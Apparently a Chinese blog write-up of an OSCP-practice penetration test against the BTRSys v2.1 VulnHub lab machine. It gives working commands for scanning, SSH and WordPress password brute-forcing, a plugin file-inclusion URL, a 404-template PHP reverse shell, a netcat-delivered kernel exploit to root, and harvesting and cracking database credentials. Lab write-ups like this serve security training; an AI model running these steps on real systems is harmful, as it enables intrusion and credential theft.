谷安靶机:172.16.33.51
靶机官网:BTRSys: v2.1[1]
实战思路:
-
一、主机发现 -
二、端口发现(服务、组件、版本) -
三、漏洞发现(获取权限) -
21端口/FTP服务 -
组件漏洞 -
口令漏洞 -
22端口/SSH服务 -
组件漏洞 -
口令漏洞 -
80端口/HTTP服务 -
组件漏洞 -
URL漏洞(目录、文件) -
四、提升权限 -
www-data用户 -
sudo -
suid -
cron -
内核提权 -
信息收集 -
btrisk用户 -
sudo
一、主机发现
本次攻击指定IP,不涉及主机发现过程。
二、端口发现(服务、组件、版本)
使用命令sudo -u root nmap 172.16.33.51 -n -Pn -p- --reason -sV -sC -O
,发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 |
提供的服务 |
使用的组件 |
组件的版本 |
21/tcp |
ftp |
vsftpd |
3.0.3 |
22/tcp |
Ssh |
OpenSSH |
7.2p2 |
80/tcp |
http |
Apache httpd |
2.4.18 |
- |
os |
Ubuntu Linux |
? |
三、漏洞发现(获取权限)
21端口/FTP服务
组件漏洞
使用命令searchsploit vsftpd 3.0.3
和searchsploit vsftpd 3
发现vsftpd 3.0.3组件存在拒绝服务漏洞,无法用于获取权限。
口令漏洞
使用命令ftp 172.16.33.51
连接FTP服务,使用匿名账号anonymous
和空口令
登录,使用命令ls -la
查看文件情况,发现啥也没有,使用命令quit
退出FTP服务。
22端口/SSH服务
组件漏洞
使用命令searchsploit OpenSSH 7.2p2
和searchsploit OpensSH 7.
发现OpenSSH 7.2p2组件存在用户名枚举漏洞。
使用命令searchsploit -m 40136
将EXP复制到当前路径,发现EXP是没被验证过的,那得当心里面有rf -rf /
命令或者反弹shell命令呀。
使用命令less 40136.py
查看EXP代码,未发现恶意代码,同时通过print
语句格式发现用的是python3语言。
使用命令python3 40136.py
获取脚本的参数,根据参数构造命令python3 40136.py --userlist /usr/share/seclists/Usernames/top-usernames-shortlist.txt 172.16.33.51
枚举用户名,发现报错AttributeError: module 'time' has no attribute 'clock'
,原来是我的python版本的time模块没有clock方法。
查阅文档Python Time[2]发现自3.8版本起Python的time模块就没有clock方法了,官方推荐使用perf_counter方法或process_time方法代替。
❝
Deprecated since version 3.3, will be removed in version 3.8: The behaviour of this function depends on the platform: use perf_counter() or process_time() instead, depending on your requirements, to have a well defined behaviour.
使用命令sed -i 's/time.clock()/time.perf_counter()/g' 40136.py
修改EXP,将time.clock()全部改为time.perf_counter()。
使用命令python3 40136.py --userlist /usr/share/seclists/Usernames/top-usernames-shortlist.txt 172.16.33.51
枚举用户名,但是结果不准,还是放弃吧。
口令漏洞
使用命令hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt 172.16.33.51 ssh
爆破账号密码,无收获。
80端口/HTTP服务
组件漏洞
01、中间件组件:使用命令searchsploit Apache httpd 2.4.18
和searchsploit Apache httpd 2.4.
,未发现组件Apache httpd 2.4.18的Nday漏洞。
02、应用组件:使用Wappalyzer、FindSomething等浏览器插件自动识别应用组件,使用BurpSuite等工具手动识别应用组件,无收获。
URL漏洞(目录、文件)
01、直接访问:浏览器打开http://172.16.33.51/
,只有一张蛇身的动图,差点把我给恶心死。
02、目录扫描:使用命令dirb http://172.16.33.51/
扫描网站的目录和文件,通过/robots.txt
文件和/wordpress/
目录发现存在WordPress CMS,通过LICENSE
文件和/upload/
目录发现存在Lepton CMS。
使用命令wpscan --url http://172.16.33.51/wordpress/
扫描WordPress CMS,逐个查看扫描结果:Headers
获得的中间件信息,前面已经排查过没有Nday漏洞;XML-RPC
提供的参考链接打开都没内容,先跳过;WordPress readme
是WordPress默认页面,除了版本信息以外没啥有用内容;Upload directory
逛了一圈,是空的;WP-Cron
看了下是拒绝服务漏洞,无法用于获取权限。
WordPress version
通过命令searchsploit WordPress 3.9.14
查找EXP,发现要么是插件的漏洞,要么是拒绝服务和文件删除等无法获取权限的漏洞,只有一个41497.php
用户名枚举漏洞有点价值,但是构造请求后却返回404,看来漏洞是被修复了?WordPress theme
的twentyfourteen网上查了下是XSS漏洞,既不能获取权限,构造请求后也是404,看来漏洞也被修复了?
Plugin
的mail-masta网上查了下有本地文件包含漏洞,URL是/WordPress目录/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=文件地址
,构造请求后可以成功利用。
对于/etc/passwd中有SHELL权限的SSH账号,通过密码爆破,未获得SSH密码。
对于本地文件包含漏洞,通过BurpSuite的Intruder爆破本地文件,未发现敏感信息、未发现我们可以写入的日志文件从而进行远程代码执行攻击。
事后总结发现,SSH爆破失败是密码本不行,kali现有SSH字典都是账号和密码组合在一起的,提取出密码部分重新爆破一次,就能爆出弱口令了。
使用命令wpscan --url http://172.16.33.51/wordpress/ --enumerate u
爆破WordPress后台的账号,发现账号btrisk
和admin
。
使用命令wpscan --url http://172.16.33.51/wordpress/ --usernames admin,btrisk --passwords /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt
爆破WordPress后台的密码,发现账号admin
的密码是admin
。
网上查阅WordPress后台getshell方法,选择404模板getshell方法,原理是把当前主题的404.php文件修改成反弹shell文件,并访问404.php文件以触发执行,从而获得反弹shell。
当前主题的404.php文件的路径是:Appearance – Editor – 当前主题名称例如twentyfourteen – 404 Template
。
经过测试,在404.php文件中找个地方添加反弹shell代码是无法成功反弹shell的,难道是我插入代码后导致格式不对?最后将整个404.php文件替换成反弹shell文件才行,反弹shell文件可从php-reverse-shell[3]下载。
访问404.php文件的路径是:http://IP地址/WordPress目录/wp-content/themes/当前主题名称/404.php
,例如这里是http://172.16.33.51/wordpress/wp-content/themes/twentyfourteen/404.php
。
03、模糊测试:基于当前已知信息,没有对网站的目录和文件进行模糊测试的必要。
04、信息收集:前面在Firefox浏览网站的流量全都经过BurpSuite代理,并使用HaE插件进行敏感信息识别,无收获。
四、提升权限
www-data用户
sudo
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,发现没有tty终端所以无法调用身份验证程序,因此无法执行sudo -l
命令。
使用命令which python
和which python3
查看当前系统是否安装Python,发现安装了Python3,使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'
获得pty终端。
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,由于没有当前用户www-data的SSH密码,因此无法查看。
suid
使用命令find / -perm -u=s -ls 2>/dev/null
查看哪些程序会以属主权限被执行,发现还挺多,但逐个在GTFOBins[4]查询,发现一个都不行。
cron
查看其它用户的计划任务是否引用了当前用户具有write权限的程序或脚本,从而写入提权代码进行提权。
使用命令find /var/spool/cron/ -type f -ls 2>/dev/null
查看计划任务发现没有输出,使用命令find /var/spool/cron/ -type f -ls
不隐藏报错,发现是没有查看权限。
使用命令find /etc/*cron* -type f -ls -exec cat {} ; 2>/dev/null > /tmp/cron.txt
和grep '*' /tmp/cron.txt
查看计划任务,无收获。
使用命令find / -perm -0006 -type f ! -path "/proc/*" -ls 2>/dev/null
查看other用户具有read和write权限的程序或脚本,若该程序或脚本被其它用户的计划任务引用,那么可以写入提权代码,当计划任务执行时获得提权,但是没发现有这样的程序或脚本。
内核提权
使用命令uname -r
获得内核版本4.4.0-62-generic
,使用命令cat /etc/lsb-release
或cat /etc/os-release
获得发行版本Ubuntu 16.04.2 LTS
。
使用命令searchsploit Ubuntu 16.04.02 4.4.0-62
查找内核漏洞,发现4个本地提权EXP。使用命令searchsploit -m EXP的ID
将EXP复制到当前目录,发现一共是CVE-2017-16995
和CVE-2017-1000112
两个漏洞,而且每个漏洞都有一个验证过的和一个没验证过的EXP。那么策略就是先无脑使用这两个被验证过的EXP,如果失败就检查没被验证过的EXP是否存在恶意代码再利用。
本地机器使用命令gcc 45010.c -o 45010 --static
编译45010的EXP,参数--static
是使用静态库来编译,我就是因为没用所以老是提权失败,原理详见gcc -static 命令[5]。
目标机器使用命令nc -nvlp 4444 > /tmp/45010
接收编译好的EXP,本地机器使用命令nc -nv 172.16.33.51 4444 < 45010
发送编译好的EXP然后使用Ctrl+C
断开连接。
目标机器使用命令chmod +x /tmp/45010
赋予EXP可执行权限,使用命令./tmp/45010
执行EXP,最终成功获得root权限。
信息收集
使用命令find 路径 -type f -ls 2>/dev/null
查看/root/
目录、/home/
目录、/tmp/
目录,未发现敏感信息。
使用命令netstat -tunlap | grep LISTEN
发现服务器本地还监听了3306端口,应该是给WordPress使用的,那么WordPress的配置文件中一定存在登录MySQL服务的账号密码。
通过网上搜索,得知WordPress的数据库配置文件是WordPress根目录下的wp-config.php
文件,使用命令cat /www/html/html/wordpress/wp-config.php
获取MySQL数据库账号root
和密码rootpassword!
,使用命令mysql -h 127.0.0.1 -P 3306 -u root -prootpassword!
登录MySQL服务。
逐个排查数据库,看着可疑的deneme
库竟然是空的,phpmyadmin
库只有账号没有密码,倒是wordpress
库拿到了账号和密码。
拿到的密码是哈希值,看样子不是WordPress自带算法生成的。去在线平台查一下,得到root
用户或btrisk
用户的哈希值a318e4507e5a74604aafb45e4741edd3
的明文是roottoor
,admin
用户的哈希值21232f297a57a5a743894a0e4a801fc3
的明文是admin
。
结合前面拿到的/etc/passwd
文件得知root用户和btrisk用户允许登录SSH服务,使用root/roottoor
和btrisk/roottoor
尝试登录,最终btrisk用户登录成功。
btrisk用户
sudo
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,发现能以任意用户的权限执行任意命令,那就以root用户的权限执行切换到root用户的命令吧。
使用命令sudo su
以root用户的权限切换到root用户,提权成功。
参考资料
BTRSys: v2.1: https://www.vulnhub.com/entry/btrsys-v21,196/
[2]Python Time: https://docs.python.org/3.7/library/time.html
[3]php-reverse-shell: https://pentestmonkey.net/tools/web-shells/php-reverse-shell
[4]GTFOBins: https://gtfobins.github.io/
[5]gcc -static 命令: https://blog.csdn.net/newchenxf/article/details/51743181
原文始发于微信公众号(OneMoreThink):靶机实战(9):OSCP备考之谷安172.16.33.51
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论